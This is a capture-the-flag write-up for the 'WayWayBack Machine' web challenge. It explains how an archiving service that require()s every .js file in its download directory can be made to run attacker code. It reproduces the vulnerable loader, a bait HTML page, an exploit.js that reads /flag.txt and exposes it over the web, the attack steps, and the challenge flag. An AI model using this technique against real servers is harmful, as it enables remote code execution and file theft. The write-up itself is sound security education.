WayWayBack Machine
Challenge Data
| Field | Value |
|---|---|
| CTF | Batman's Kitchen CTF |
| Challenge | WayWayBack Machine |
| Category | Web |
| Context | "I got tired of having to dig around the internet for old files so I started archiving them myself." |
| Flag | bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10} |
Challenge Description
The application received a URL, a bot visited it, and stored an HTML snapshot. It also downloaded linked resources and later loaded them again.
Reconnaissance
Looking at the flow, the server parsed <link href="..."> tags from the captured HTML and downloaded each resource into the snapshots/ directory. If I could make it archive a page I controlled, then I could also make it store files of my choosing inside that directory.
That was already an interesting hint, but the really dangerous part only became clear when visiting any existing snapshot.
Analysis
Before serving a snapshot, the application iterated over the contents of SNAPSHOTS_DIR and did require() on every .js file it found there.
async function preloadSnapshotResources() {
const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
for (const entry of entries) {
if (path.extname(entry.name) === ".js") {
require(filePath);
}
}
}
That was the whole bug. Since the bot downloaded external resources into the same directory from which Node later loaded JavaScript, it was possible to drop a malicious .js into snapshots/ and get code execution on the server.
The attack chain looked like this.
- Publish our own page with a
<link>pointing to a.js. - Make the bot archive that page.
- Wait for the
.jsto be stored insnapshots/. - Visit any snapshot to trigger the
require(). - Read
/flag.txtand write it into another file accessible from the web.
Once it was framed like that, the challenge looked very different. It was not just an archive system. It was a system that downloaded user controlled content and then executed it.
Solution
The malicious page could be as simple as this.
<html>
<head>
<link rel="stylesheet" href="/exploit.js">
</head>
<body>
<p>Archiving this page</p>
</body>
</html>
And the exploit.js could be this.
const fs = require("fs");
const path = require("path");
try {
const flag = fs.readFileSync("/flag.txt", "utf8");
fs.writeFileSync(
path.join(__dirname, "flag_exfil.html"),
`<html><body><h1>${flag}</h1></body></html>`
);
} catch (e) {}
After that, the steps were straightforward.
- Host that content at a public URL.
- Send it to the snapshot creation endpoint.
- Wait for the process to finish.
- Visit a snapshot to trigger the
.jsload. - Open
/snapshot/flag_exfiland read the flag.
La vulnerabilidad estaba en que el mismo directorio usado para guardar recursos descargados también terminaba siendo una superficie de ejecución.
Flag
bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}